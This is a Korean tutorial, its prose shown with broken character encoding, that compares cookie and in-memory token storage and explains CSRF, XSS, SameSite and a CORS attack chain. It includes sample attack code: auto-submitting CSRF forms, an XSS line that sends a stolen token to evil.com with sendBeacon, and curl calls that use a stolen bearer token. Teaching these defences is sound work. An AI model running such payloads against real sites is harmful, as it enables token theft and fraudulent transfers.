์ฟ ํค์ JavaScript ๋ฉ๋ชจ๋ฆฌ๋ ํ ํฐ ์ ์ฅ์๋ก์ ๋ณด์ ํน์ฑ์ด ๋ค๋ฆ ๋๋ค. ์ฟ ํค๋ ์๋ ์ ์ก๋์ด CSRF์ ๋ ธ์ถ๋๊ณ , ๋ฉ๋ชจ๋ฆฌ๋ JavaScript๋ก ์ ๊ทผ ๊ฐ๋ฅํด XSS์ ๋ ธ์ถ๋ฉ๋๋ค. ๊ฐ ์ํ์ ๊ตฌ์กฐ์ ๋ฐฉ์ด ์๋จ์ ์ ๋ฆฌํฉ๋๋ค.
DevTools์์ ๋ณด์ด๋ ์ ๋ณด์ด๋๋ ๋ณด์ ๊ธฐ์ค์ด ์๋๋๋ค. DevTools๋ฅผ ์ด๋ ค๋ฉด ์ฌ์ฉ์ ๋ณธ์ธ์ด ์๊ธฐ ๋ธ๋ผ์ฐ์ ๋ฅผ ์กฐ์ํด์ผ ํ๊ณ , ์ด๊ฑด ์ํ ๋ชจ๋ธ์์ ๋ฌผ๋ฆฌ์ ์ ๊ทผ์ ํด๋นํฉ๋๋ค. ์ด ์์ค์ ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ฉด ๋ฉ๋ชจ๋ฆฌ ํ ํฐ๋ V8 ํ ํฌ๋ ์์ผ๋ก ์ถ์ถํ ์ ์์ต๋๋ค.
์ค์ ๋ก ๋ณด์์ ์ํฅ์ ์ฃผ๋ ์ฐจ์ด๋ ๋ ๊ฐ์ง๋ฟ์ ๋๋ค.
| ๊ธฐ์ค | ์ฟ ํค | ๋ฉ๋ชจ๋ฆฌ (JS ๋ณ์) |
|---|---|---|
| ์์ฒญ์ ์๋์ผ๋ก ๋ถ๋ | ๋๋ฉ์ธ ์ผ์น ์ ์๋ ์ ์ก | ์ฝ๋๊ฐ ๋ช ์์ ์ผ๋ก ํค๋์ ์ฒจ๋ถ |
| JavaScript๋ก ์ฝํ๋ | HttpOnly๋ฉด ์ฝ๊ธฐ ๋ถ๊ฐ | ๊ฐ์ ์คํ ์ปจํ ์คํธ์์ ์ฝ๊ธฐ ๊ฐ๋ฅ |
์๋ ์ ์ก์ CSRF ์ทจ์ฝ์ ์ ๋ง๋ค๊ณ , JS ์ ๊ทผ ๊ฐ๋ฅ์ XSS ํ ํฐ ํ์ทจ๋ฅผ ๋ง๋ญ๋๋ค. ์ฟ ํค์ ๋ฉ๋ชจ๋ฆฌ ์ค ์ด๋๊ฐ ๋ ์์ ํ์ง๋ ๊ฒฐ๊ตญ CSRF์ XSS ์ค ์ด๋ ์ชฝ์ด ๋ ์ํํ์ง์ ๋ฌ๋ ค ์์ต๋๋ค. ๊ฐ๊ฐ์ ์ดํด๋ด ๋๋ค.
์ฟ ํค๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์์์ ์์ฒญ์ ๋ถ์ ๋๋ค. CSRF(Cross-Site Request Forgery)๋ ์ด ๋์์ ์ ์ฉํฉ๋๋ค.
1. ์ฌ์ฉ์๊ฐ bank.com์ ๋ก๊ทธ์ธ โ ์ธ์
์ฟ ํค ๋ฐ๊ธ
2. ์ฌ์ฉ์๊ฐ evil.com ๋ฐฉ๋ฌธ
3. evil.com์ด bank.com์ผ๋ก ์์ฒญ ์ ์ก
4. ๋ธ๋ผ์ฐ์ ๊ฐ bank.com ์ฟ ํค๋ฅผ ์๋ ์ฒจ๋ถ
5. bank.com์ ์ ์ ์์ฒญ๊ณผ ๊ตฌ๋ถ ๋ถ๊ฐ โ ์คํ
์ฑ๋ฆฝ ์กฐ๊ฑด์ ์ธ ๊ฐ์ง์ ๋๋ค. ์๋ฒ์ ์ํ๋ฅผ ๋ณ๊ฒฝํ๋ action์ด ์๊ณ , ์ฟ ํค ๊ธฐ๋ฐ ์ธ์ ์ผ๋ก ์ธ์ฆํ๊ณ , ์์ฒญ์ ์์ธก ๋ถ๊ฐ๋ฅํ ํ๋ผ๋ฏธํฐ๊ฐ ์์ด์ผ ํฉ๋๋ค. CSRF๋ blind attack์ด๋ผ ๊ณต๊ฒฉ์๋ ์์ฒญ๋ง ๋ณด๋ผ ์ ์๊ณ ์๋ต์ ์ฝ์ง ๋ชปํฉ๋๋ค.
GET ๊ธฐ๋ฐ โ ์ด๋ฏธ์ง ํ๊ทธ ํ๋๋ก ์ถฉ๋ถํฉ๋๋ค.
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
POST ๊ธฐ๋ฐ โ ์จ๊ฒจ์ง ํผ์ด ์๋ ์ ์ถ๋ฉ๋๋ค.
<form id="csrf-form" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
CWE Top 25 2025์์ CSRF(CWE-352)๋ 3์์ ๋๋ค. SameSite=Lax๊ฐ ๊ธฐ๋ณธ๊ฐ์ด ๋ ์๋์ ์์๊ฐ ์คํ๋ ค ์ค๋ฅด๋ ์ด์ ๋, CSRF๊ฐ ๋ค๋ฅธ ์ทจ์ฝ์ ๊ณผ ์ฒด์ธ์ผ๋ก ์ฎ์ด๋ฉด์ ๊ณต๊ฒฉ ์๋จ์ผ๋ก์์ ๊ฐ์น๊ฐ ๋์์ก๊ธฐ ๋๋ฌธ์ ๋๋ค.
์ฟ ํค์ ์๋ ์ ์ก์ ์ ์ดํ๋ ์์ฑ์ ๋๋ค.
| ์์ฑ | cross-site POST | cross-site GET(top-level) | iframe/fetch/XHR |
|---|---|---|---|
| None | ์ ์ก | ์ ์ก | ์ ์ก |
| Lax | ์ฐจ๋จ | ์ ์ก | ์ฐจ๋จ |
| Strict | ์ฐจ๋จ | ์ฐจ๋จ | ์ฐจ๋จ |
Chrome 80(2020๋ 2์)๋ถํฐ SameSite ๋ฏธ์ง์ ์ Lax๊ฐ ๊ธฐ๋ณธ๊ฐ์ ๋๋ค. Lax๋ง์ผ๋ก POST, iframe, fetch/XHR ๊ธฐ๋ฐ CSRF๊ฐ ์ ๋ถ ์ฐจ๋จ๋ฉ๋๋ค.
ํ์ง๋ง ๊ตฌ๋ฉ์ด ์์ต๋๋ค.
Lax+POST 2๋ถ ์๋์ฐ. SameSite๋ฅผ ๋ช
์ํ์ง ์์ ์๋ฌต์ Lax๊ฐ ์ ์ฉ๋ ์ฟ ํค๋, ์ค์ ํ 2๋ถ๊ฐ cross-site top-level POST์๋ ์ ์ก๋ฉ๋๋ค. ๋ช
์์ ์ผ๋ก SameSite=Lax๋ฅผ ์ค์ ํ๋ฉด ์ด ์๋์ฐ๊ฐ ์์ต๋๋ค.
GET ์ํ ๋ณ๊ฒฝ. Lax๋ top-level GET navigation์ ์ฟ ํค๋ฅผ ๋ณด๋
๋๋ค. GET /delete-account?confirm=true ๊ฐ์ endpoint๊ฐ ์์ผ๋ฉด Lax๋ก๋ ๋ชป ๋ง์ต๋๋ค.
์๋ธ๋๋ฉ์ธ. SameSite๋ eTLD+1๋ก Same-Site๋ฅผ ํ๋จํฉ๋๋ค. evil.example.com๊ณผ bank.example.com์ Same-Site์
๋๋ค. ์๋ธ๋๋ฉ์ธ ํ๋๊ฐ ๋ซ๋ฆฌ๋ฉด SameSite๋ ๋ฌด๋ ฅํฉ๋๋ค.
Strict๋ฅผ ์ ์ฐ๋ ์ด์ . Strict๋ ๋ณด์์ด ๊ฐ์ฅ ๊ฐํ์ง๋ง UX๋ฅผ ๋ง๊ฐ๋จ๋ฆฝ๋๋ค. ์ด๋ฉ์ผ ๋งํฌ๋ฅผ ํด๋ฆญํด๋ ๋ก๊ทธ์ธ์ด ํ๋ฆฌ๊ณ , ๊ฒ์ ์์ง์์ ๋ค์ด์๋ ๋ง์ฐฌ๊ฐ์ง์ ๋๋ค. ์ค๋ฌด์์๋ ์ด์ค ์ฟ ํค ํจํด์ ์๋๋ค.
session_read: SameSite=Lax โ ์ฝ๊ธฐ/ํ์์ฉ (์ธ๋ถ ์ ์
์ ๋ก๊ทธ์ธ ์ ์ง)
session: SameSite=Strict โ ๋ฏผ๊ฐํ ์ฐ๊ธฐ ์์
์ฉ (CSRF ์์ ์ฐจ๋จ)
SameSite๋ง์ผ๋ก๋ ์๋ธ๋๋ฉ์ธ ๊ณต๊ฒฉ, GET ์ํ ๋ณ๊ฒฝ ๊ฐ์ ๊ตฌ๋ฉ์ด ๋จ์ต๋๋ค. ์ถ๊ฐ ๋ฐฉ์ด์ ํต์ฌ ์๋ฆฌ๋ ํ๋์ ๋๋ค: ๊ณต๊ฒฉ์๊ฐ ์ ์ ์๋ ๊ฐ์ ์์ฒญ์ ํฌํจ์์ผ๋ผ.
CSRF๊ฐ ์ฑ๋ฆฝํ๋ ์ด์ ๋ฅผ ๋ค์ ๋ด ๋๋ค. ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ๋ฅผ ์ด์ฉํด ์์ฒญ์ ๋ณด๋ด์ง๋ง, Same-Origin Policy ๋๋ฌธ์ ๋์ ์ฌ์ดํธ์ ํ์ด์ง ๋ด์ฉ์ ์ฝ์ง ๋ชปํฉ๋๋ค. ์ด ์ ์ฝ์ ์ญ์ผ๋ก ์ด์ฉํฉ๋๋ค โ ์๋ฒ๊ฐ ํ์ด์ง์ ๋น๋ฐ ๊ฐ์ ์ฌ์ด๋๊ณ ์์ฒญ ์ ํจ๊ป ๋ณด๋ด๊ฒ ํ๋ฉด, ํ์ด์ง๋ฅผ ์ฝ์ ์ ์๋ ๊ณต๊ฒฉ์๋ ๊ทธ ๊ฐ์ ์ ์ ์์ผ๋ฏ๋ก ์์ฒญ์ ์์กฐํ ์ ์์ต๋๋ค.
Synchronizer Token Pattern โ OWASP๊ฐ ๊ฐ์ฅ ๋จผ์ ๊ถ์ฅํ๋ ๋ฐฉ์์ ๋๋ค.
1. ์ฌ์ฉ์ ๋ก๊ทธ์ธ โ ์๋ฒ๊ฐ ์ธ์
์ ๋ฌถ์ธ ๋๋ค ํ ํฐ(128๋นํธ ์ด์) ์์ฑ
2. ์๋ฒ๊ฐ HTML ํผ์ hidden field๋ก ํ ํฐ ์ฝ์
<input type="hidden" name="_csrf" value="a1b2c3..." />
3. ์ฌ์ฉ์๊ฐ ํผ ์ ์ถ โ ํ ํฐ์ด ํจ๊ป ์ ์ก
4. ์๋ฒ๊ฐ ์ธ์
์ ํ ํฐ vs ์์ฒญ์ ํ ํฐ ๋์กฐ โ ๋ถ์ผ์น ์ ๊ฑฐ๋ถ
๊ณต๊ฒฉ์๊ฐ evil.com์์ bank.com/transfer ํผ์ ์์กฐํด๋, hidden field์ ๋ค์ด๊ฐ ํ ํฐ ๊ฐ์ ์ ์ ์์ต๋๋ค. bank.com ํ์ด์ง๋ฅผ ์ฝ์ด์ผ ํ ํฐ์ ์ ์ ์๋๋ฐ, Same-Origin Policy๊ฐ ์ด๋ฅผ ์ฐจ๋จํฉ๋๋ค.
Double Submit Cookie โ ์๋ฒ์ ์ธ์ ์ํ๋ฅผ ์ ์ฅํ์ง ์๋ stateless ํ๊ฒฝ์ ์ํ ๋์์ ๋๋ค.
1. ์๋ฒ๊ฐ ๋๋ค ๊ฐ์ ์ฟ ํค์ ์๋ต ๋ณธ๋ฌธ ์์ชฝ์ ์ค์
2. ํด๋ผ์ด์ธํธ๊ฐ ์์ฒญ ์ ์ฟ ํค๋ ์๋ ์ ์ก + ๊ฐ์ ๊ฐ์ ํค๋/body์๋ ์ง์ ์ฒจ๋ถ
3. ์๋ฒ๊ฐ ์ฟ ํค ๊ฐ vs ํค๋/body ๊ฐ ๋์กฐ โ ๋ถ์ผ์น ์ ๊ฑฐ๋ถ
๊ณต๊ฒฉ์๋ cross-site ์์ฒญ์ผ๋ก ์ฟ ํค๋ฅผ ์๋ ์ ์ก์ํฌ ์ ์์ง๋ง, ํค๋๋ body์ ๊ฐ์ ๊ฐ์ ๋ฃ์ผ๋ ค๋ฉด ์ฟ ํค ๊ฐ์ ๋จผ์ ์ฝ์ด์ผ ํฉ๋๋ค. HttpOnly ์ฟ ํค๋ JavaScript๋ก ์ฝ์ ์ ์๊ณ , cross-origin์์๋ Set-Cookie ์๋ต๋ ๋ณผ ์ ์์ผ๋ฏ๋ก ๊ฐ์ ์ ์ ์์ต๋๋ค. HMAC ์๋ช
์ ์ถ๊ฐํ๋ฉด ์๋ธ๋๋ฉ์ธ์์ ์ฟ ํค๋ฅผ ๋ฎ์ด์ฐ๋ Cookie Tossing ๊ณต๊ฒฉ๊น์ง ์ฐจ๋จ๋ฉ๋๋ค โ ์๋ฒ์ ๋น๋ฐํค ์์ด๋ ์ ํจํ ์๋ช
์ ๋ง๋ค ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค.
Custom Request Header โ ์ปค์คํ ํค๋ ์กด์ฌ ์ฌ๋ถ๋ก ๊ฒ์ฆํ๋ ๋ฐฉ์์ ๋๋ค.
// ํด๋ผ์ด์ธํธ: ๋ชจ๋ ์ํ ๋ณ๊ฒฝ ์์ฒญ์ ์ปค์คํ
ํค๋ ์ถ๊ฐ
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-Requested-With': 'XMLHttpRequest' },
body: JSON.stringify({ to: 'recipient', amount: 1000 })
});
// ์๋ฒ: ์ด ํค๋๊ฐ ์์ผ๋ฉด ์์ฒญ ๊ฑฐ๋ถ
cross-origin ์์ฒญ์ ์ปค์คํ ํค๋๋ฅผ ๋ถ์ด๋ฉด ๋ธ๋ผ์ฐ์ ๊ฐ ๋จผ์ preflight(OPTIONS) ์์ฒญ์ ๋ณด๋ ๋๋ค. ์๋ฒ๊ฐ ํด๋น origin์ ํ์ฉํ์ง ์์ผ๋ฉด preflight์์ ์ฐจ๋จ๋์ด ๋ณธ ์์ฒญ์ด ์ ์ก๋์ง ์์ต๋๋ค. HTML ํผ ํ๊ทธ๋ก๋ ์ปค์คํ ํค๋๋ฅผ ์ค์ ํ ์ ์์ผ๋ฏ๋ก ํผ ๊ธฐ๋ฐ CSRF๋ ์ฐจ๋จ๋ฉ๋๋ค.
์ฌ๊ธฐ๊น์ง๊ฐ ์ฟ ํค์ ์๋ ์ ์ก์ด ๋ง๋๋ ๋ฌธ์ (CSRF)์ ๊ทธ ๋ฐฉ์ด์
๋๋ค. ์ฟ ํค๋ฅผ ์ฐ๋๋ผ๋ SameSite=Lax + CSRF ํ ํฐ์ ์กฐํฉํ๋ฉด CSRF๋ ๋๋ถ๋ถ ๋งํ๋๋ค.
๊ทธ๋ฐ๋ฐ ๋ฉ๋ชจ๋ฆฌ ํ ํฐ์ CSRF์ ์์ ํ ๋ฉด์ญ์
๋๋ค. Authorization ํค๋์ ์ฝ๋๊ฐ ์ง์ ์ฒจ๋ถํ๋๊น cross-site์์ ์์กฐํ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ์ด๊ฒ๋ง ๋ณด๋ฉด ๋ฉ๋ชจ๋ฆฌ๊ฐ ๋ ๋์ ๋ณด์
๋๋ค.
์ด์ ๋ ๋ฒ์งธ ์ฐจ์ด, JS ์ ๊ทผ์ฑ์ด ๋ง๋๋ ๋ฌธ์ ๋ฅผ ๋ด ๋๋ค.
๋ฉ๋ชจ๋ฆฌ ํ ํฐ์ JavaScript ๋ณ์์
๋๋ค. XSS(Cross-Site Scripting)๊ฐ ์คํ๋๋ฉด ๊ฐ์ origin์์ ๋์๊ฐ๋ฏ๋ก ์ด ๋ณ์๋ฅผ ๊ทธ๋ฅ ์ฝ์ ์ ์์ต๋๋ค. ๋ฐ๋ฉด HttpOnly ์ฟ ํค๋ document.cookie๋ก ์ ๊ทผ ์์ฒด๊ฐ ์ ๋ฉ๋๋ค.
MITRE/CISA ๊ธฐ์ค 2025๋ ๊ฐ์ฅ ์ํํ ์ํํธ์จ์ด ์ฝ์ ์์ XSS๊ฐ 1์, CSRF๊ฐ 3์์ ๋๋ค. ๋จ์ํ ์์ ์ฐจ์ด๊ฐ ์๋๋ผ ํ ์ ์๋ ์ผ์ ๋ฒ์๊ฐ ๋ค๋ฆ ๋๋ค.
CSRF๋ blind attack์ ๋๋ค. ์์ฒญ๋ง ๋ณด๋ผ ์ ์๊ณ ์๋ต์ ๋ชป ์ฝ์ต๋๋ค.
XSS๋ master key์ ๋๋ค. same-origin์์ ์คํ๋๋๊น ํ ํฐ ํ์ทจ, CSRF ๋ฐฉ์ด ๋ฌด๋ ฅํ, key ์ ๋ ฅ ๊ฐ๋ก์ฑ๊ธฐ, phishing ํผ ์ฝ์ , ์ธ์ฆ๋ API ๋ฌด์ ํ ํธ์ถ์ด ์ ๋ถ ๊ฐ๋ฅํฉ๋๋ค. XSS๊ฐ ๋ซ๋ฆฌ๋ฉด CSRF ํ ํฐ๋ DOM์์ ์ฝ์ด๋ฒ๋ฆฌ๋ฏ๋ก CSRF ๋ฐฉ์ด ์์ฒด๊ฐ ๋ฌด์๋ฏธํด์ง๋๋ค.
์ฌ๊ธฐ์ ๋ต์ด ๊ธฐ์ธ๊ธฐ ์์ํฉ๋๋ค. ์ฟ ํค์ ์ฝ์ ์ธ CSRF๋ SameSite=Lax + CSRF ํ ํฐ์ผ๋ก ๋๋ถ๋ถ ๋งํ์ง๋ง, ๋ฉ๋ชจ๋ฆฌ์ ์ฝ์ ์ธ XSS ํ ํฐ ํ์ทจ๋ ๋ง์ ์๋จ์ด ์์ต๋๋ค. ๋ฉ๋ชจ๋ฆฌ์ ์๋ ์ด์ XSS๊ฐ ์ฝ๋ ๊ฑธ ๋ง์ ๋ฐฉ๋ฒ์ด ์์ผ๋๊น์.
์ฟ ํค: CSRF์ ์ฝํ์ง๋ง ๋ฐฉ์ด ๊ฐ๋ฅ, XSS ํ ํฐ ํ์ทจ์ ๊ฐํจ
๋ฉ๋ชจ๋ฆฌ: CSRF์ ๋ฉด์ญ, XSS ํ ํฐ ํ์ทจ์ ๋ฌด๋ฐฉ๋น
XSS๊ฐ ๋ ์ํํ๊ณ , ์ฟ ํค์ ์ฝ์ ์ ๋ฐฉ์ด๊ฐ ๋๊ณ , ๋ฉ๋ชจ๋ฆฌ์ ์ฝ์ ์ ๋ฐฉ์ด๊ฐ ์ ๋ฉ๋๋ค. HttpOnly ์ฟ ํค + CSRF ๋ฐฉ์ด๊ฐ ๋ฉ๋ชจ๋ฆฌ๋ณด๋ค ์์ ํฉ๋๋ค.
"์ด์ฐจํผ XSS๊ฐ ๋ซ๋ฆฌ๋ฉด ๋ ๋ค ๋ ์๋๊ฐ?" โ ๋ ๋ค ํผํด๋ฅผ ์ ๋ ๊ฑด ๋ง์ง๋ง, ๊ณต๊ฒฉ์๊ฐ ํ๋ณดํ๋ ๋ฅ๋ ฅ์ด ๊ทผ๋ณธ์ ์ผ๋ก ๋ค๋ฆ ๋๋ค. ์ฐจ์ด๋ ํ ํฐ์ ๊ณต๊ฒฉ์์ ํ๊ฒฝ์ผ๋ก ์ ์ถํ ์ ์๋๋์์ ๊ฐ๋ฆฝ๋๋ค.
// XSS ์ฝ๋๊ฐ ํผํด์์ ๋ธ๋ผ์ฐ์ ์์์ API๋ฅผ ์ง์ ํธ์ถ
fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
// ์ฟ ํค๊ฐ ์๋์ผ๋ก ๋ถ์ด ์์ฒญ์ ์ฑ๊ณตํ์ง๋ง, ํ ํฐ ๊ฐ ์์ฒด๋ ์ ๊ทผ ๋ถ๊ฐ
๊ณต๊ฒฉ์๋ ํผํด์์ ๋ธ๋ผ์ฐ์ ๋ฅผ ํ๋ก์๋ก ์ฌ์ฉํฉ๋๋ค. XSS ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ๋์์๋ง, ํด๋น ํญ ์์์๋ง ๋์ํฉ๋๋ค.
HttpOnly๊ฐ JavaScript ์ ๊ทผ์ ์ฐจ๋จ// XSS ์ฝ๋๊ฐ ๋ฉ๋ชจ๋ฆฌ์์ ํ ํฐ์ ์ฝ์ด ์ธ๋ถ๋ก ์ ์ก
const token = window.__accessToken;
navigator.sendBeacon('https://evil.com/collect', token);
# ๊ณต๊ฒฉ์๊ฐ ์์ ์ ํ๊ฒฝ์์ ๋
๋ฆฝ์ ์ผ๋ก API ํธ์ถ
curl -H "Authorization: Bearer <ํ์ทจํ ํ ํฐ>" https://api.target.com/users
curl -H "Authorization: Bearer <ํ์ทจํ ํ ํฐ>" https://api.target.com/admin/settings
ํ ํฐ์ด ์ธ๋ถ๋ก ์ ์ถ๋๋ฉด ๊ณต๊ฒฉ์๋ ํผํด์์ ๋ธ๋ผ์ฐ์ ๊ฐ ํ์ ์์ด์ง๋๋ค.
| ๊ตฌ๋ถ | HttpOnly ์ฟ ํค | ๋ฉ๋ชจ๋ฆฌ ํ ํฐ |
|---|---|---|
| ๊ณต๊ฒฉ ๋ฒ์ | ํผํด์ ๋ธ๋ผ์ฐ์ ๋ด๋ถ | ๊ณต๊ฒฉ์ ํ๊ฒฝ (์ธ๋ถ) |
| ๊ณต๊ฒฉ ์ง์ | ์ธ์ /ํ์ด์ง ํ์ | ํ ํฐ ๋ง๋ฃ๊น์ง |
| ํ ํฐ ์ ์ถ | ๋ถ๊ฐ | ๊ฐ๋ฅ |
| ์๋ฒ ์ธก ํ์ง | ๊ฐ๋ฅ (๋์ผ IP/์ธ์ ) | ์ด๋ ค์ (๋ค๋ฅธ IP/ํ๊ฒฝ) |
์ฟ ํค๊ฐ ๋ฉ๋ชจ๋ฆฌ๋ณด๋ค ์์ ํ๋ค๋ ๊ฒฐ๋ก ์ด ๋์์ผ๋, ์ฟ ํค๋ฅผ ์ ๋๋ก ์ค์ ํ๋ ๋ฐฉ๋ฒ์ ์ ๋ฆฌํฉ๋๋ค. ๊ฐ ์์ฑ์ ์๋ก ๋ค๋ฅธ ๊ณต๊ฒฉ ๋ฒกํฐ๋ฅผ ์ฐจ๋จํ๋ฉฐ, ์กฐํฉํด์ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
HttpOnly๋ document.cookie ์ ๊ทผ์ ์ฐจ๋จํฉ๋๋ค. XSS๊ฐ ์คํ๋์ด๋ ์ฟ ํค ๊ฐ ์์ฒด์ ํ์ทจ๋ฅผ ๋ง์ต๋๋ค. ๋ค๋ง ์ธ์ฆ๋ API ํธ์ถ(๋๋ฆฌ ์คํ)๊น์ง๋ ๋ฐฉ์ดํ์ง ๋ชปํฉ๋๋ค. Secure๋ HTTPS ์ฐ๊ฒฐ์์๋ง ์ฟ ํค๋ฅผ ์ ์กํฉ๋๋ค. Strict-Transport-Security(HSTS)์ ํจ๊ป ์ค์ ํด์ผ ์ฒซ HTTP ์์ฒญ์์์ ๋
ธ์ถ๋ ๋ฐฉ์ง๋ฉ๋๋ค. Domain์ ์๋ตํ๋ ๊ฒ์ด ๋ ์์ ํฉ๋๋ค. ์๋ตํ๋ฉด ํด๋น ํธ์คํธ์์๋ง ์ ์ก๋๋ Host-Only Cookie๊ฐ ๋๊ณ , Domain=example.com์ผ๋ก ์ค์ ํ๋ฉด *.example.com ์ ์ฒด์ ์ ์ก๋์ด ๊ฐ์ฅ ์ฝํ ์๋ธ๋๋ฉ์ธ์ด ์ ์ฒด ๋ณด์ ์์ค์ ๊ฒฐ์ ํฉ๋๋ค. __Host- ์ ๋์ฌ๋ ๋ธ๋ผ์ฐ์ ๊ฐ Secure ํ์, Path=/ ํ์, Domain ์ค์ ๋ถ๊ฐ๋ฅผ ๊ฐ์ ํฉ๋๋ค. ์๋ธ๋๋ฉ์ธ์ด๋ ๋น๋ณด์ ์ฑ๋์์ ๊ฐ์ ์ด๋ฆ์ ์ฟ ํค๋ฅผ ๋ฎ์ด์ฐ๋ Cookie Tossing์ ์์ฒ ์ฐจ๋จํฉ๋๋ค.
| CSRF | XSS ์ฟ ํค ํ์ทจ | MITM | Cookie Tossing | |
|---|---|---|---|---|
| SameSite=Lax | ๋ถ๋ถ ๋ฐฉ์ด | โ | โ | โ |
| SameSite=Strict | ์์ ๋ฐฉ์ด | โ | โ | โ |
| HttpOnly | โ | ํ์ทจ ์ฐจ๋จ | โ | โ |
| Secure | โ | โ | ์์ ๋ฐฉ์ด | โ |
| __Host- ์ ๋์ฌ | โ | โ | ์์ ๋ฐฉ์ด | ์์ ๋ฐฉ์ด |
์ด์ ํ๊ฒฝ ๊ถ์ฅ ์ค์ :
# ์ธ์
์ฟ ํค โ ๋ชจ๋ ๋ณด์ ์์ฑ ์ ์ฉ
__Host-session=abc; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600
# CSRF ํ ํฐ โ JavaScript๊ฐ ์ฝ์ด์ผ ํ๋ฏ๋ก HttpOnly ์ ์ธ
__Host-csrf=xyz; Secure; SameSite=Strict; Path=/
# ๋ก๊ทธ์ธ ์ํ ํ์ โ ๋ฏผ๊ฐํ์ง ์์ ๋ฐ์ดํฐ
__Secure-logged_in=true; Secure; SameSite=Lax; Path=/
์ง๊ธ๊น์ง CSRF์ XSS๋ฅผ ๋ฐ๋ก ๋ดค์ง๋ง, ์ค์ ๋ณด์ ์ฌ๊ณ ์์๋ ์ทจ์ฝ์ ์ด ๋จ๋ ์ผ๋ก ํฐ์ง์ง ์์ต๋๋ค.
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-CSRF-Token': token },
body: JSON.stringify({ to: 'attacker', amount: 10000 }),
});
same-origin XSS๋ CSRF ํ ํฐ์ DOM์์ ์ฝ์ ์ ์์ต๋๋ค. CSRF ํ ํฐ, SameSite, Custom Header ์ ๋ถ ๋ฌด์๋ฏธํด์ง๋๋ค.
CSRF๋ blind attack์ด๋ผ ์๋ต์ ์ฝ์ง ๋ชปํฉ๋๋ค. ํ์ง๋ง CORS๊ฐ ์๋ชป ์ค์ ๋๋ฉด ์ด ์ ์ฝ์ด ์ฌ๋ผ์ง๋๋ค. Origin ํค๋๋ฅผ ๊ทธ๋๋ก ๋ฐ์ฌํ๊ฑฐ๋, ์ ๊ท์ ํ์ดํธ๋ฆฌ์คํธ ์ค์(bank.com.evil.com ๋งค์นญ), ๋ชจ๋ ์๋ธ๋๋ฉ์ธ์ ๋ฌด์กฐ๊ฑด ์ ๋ขฐํ๋ ์ค์ ์ด ๋ํ์ ์
๋๋ค. "์ฐ๊ธฐ๋ง ๊ฐ๋ฅํ" CSRF๊ฐ "์ฝ๊ธฐ+์ฐ๊ธฐ" ๊ณต๊ฒฉ์ผ๋ก ์
๊ทธ๋ ์ด๋๋ฉ๋๋ค.
1. CORS ์ค์ : ๋ชจ๋ origin ํ์ฉ
2. ์ฟ ํค ์ค์ : SameSite=None (cross-site ์ฟ ํค ์ ์ก)
3. Refresh endpoint: CSRF ํ ํฐ ์์
4. evil.com์์ refresh endpoint ํธ์ถ โ ์ฟ ํค ์๋ ์ ์ก โ ์ access token ๋ฐ๊ธ
5. CORS๊ฐ ์๋ต ์ฝ๊ธฐ ํ์ฉ โ access token ํ์ทจ
6. ํ์ทจํ ํ ํฐ์ผ๋ก RCE ์คํ
CORS ์ค์ ์ค๋ฅ + SameSite=None + CSRF ๋ฏธ์ ์ฉ ์ธ ๊ฐ์ง๊ฐ ๊ฒฐํฉ๋์ด ์์คํ ์ ์ฒด๊ฐ ๋ซ๋ฆฐ ์ฌ๋ก์ ๋๋ค.
"ํ ํฐ์ ์ด๋์ ์ ์ฅํ์ง?"๋ผ๋ ์ง๋ฌธ์์ ์์ํ์ต๋๋ค. ์ฟ ํค์ ๋ฉ๋ชจ๋ฆฌ์ ๋ณด์ ์ฐจ์ด๋ ๋ ๊ฐ์ง โ ์๋ ์ ์ก ์ฌ๋ถ์ JS ์ ๊ทผ ๊ฐ๋ฅ ์ฌ๋ถ โ ์ด๊ณ , ์ด ์ฐจ์ด๊ฐ ๊ฐ๊ฐ CSRF์ XSS ํ ํฐ ํ์ทจ๋ผ๋ ์ทจ์ฝ์ ์ ๋ง๋ญ๋๋ค.
XSS๊ฐ CSRF๋ณด๋ค ์ํํ๊ณ , ์ฟ ํค์ ์ฝ์ (CSRF)์ ๋ฐฉ์ด ์๋จ์ด ์์ง๋ง ๋ฉ๋ชจ๋ฆฌ์ ์ฝ์ (XSS ํ์ทจ)์ ๋ง์ ๋ฐฉ๋ฒ์ด ์์ผ๋ฏ๋ก, HttpOnly ์ฟ ํค๊ฐ ๋ฉ๋ชจ๋ฆฌ๋ณด๋ค ์์ ํฉ๋๋ค. ๋ค๋ง ์ฟ ํค๋ XSS ์์์ ์์ ํ์ง ์์ต๋๋ค โ ํ์ทจ๋ ๋ชป ํด๋ ๋๋ฆฌ ์์ฒญ์ ๊ฐ๋ฅํ๊ณ , ํ์ค์ ๊ณต๊ฒฉ์ ๋จ์ผ ์ทจ์ฝ์ ์ด ์๋๋ผ ์ฒด์ธ์ผ๋ก ์ฎ์ ๋๋ค.
HttpOnly + Secure + SameSite=Lax + CSRF ํ ํฐ ์กฐํฉ์ด ๋๋ถ๋ถ์ ์น ์๋น์ค์์ ํ์ค์ ์ธ ์ ํ์
๋๋ค. ํ ํฐ์ ๋ธ๋ผ์ฐ์ ์ ์์ ๋ณด๋ด์ง ์๋ BFF(Backend-for-Frontend) ํจํด์ด ๊ฐ์ฅ ์์ ํ์ง๋ง, ์ํคํ
์ฒ ๋ณต์ก๋์ ํธ๋ ์ด๋์คํ๊ฐ ์์ต๋๋ค.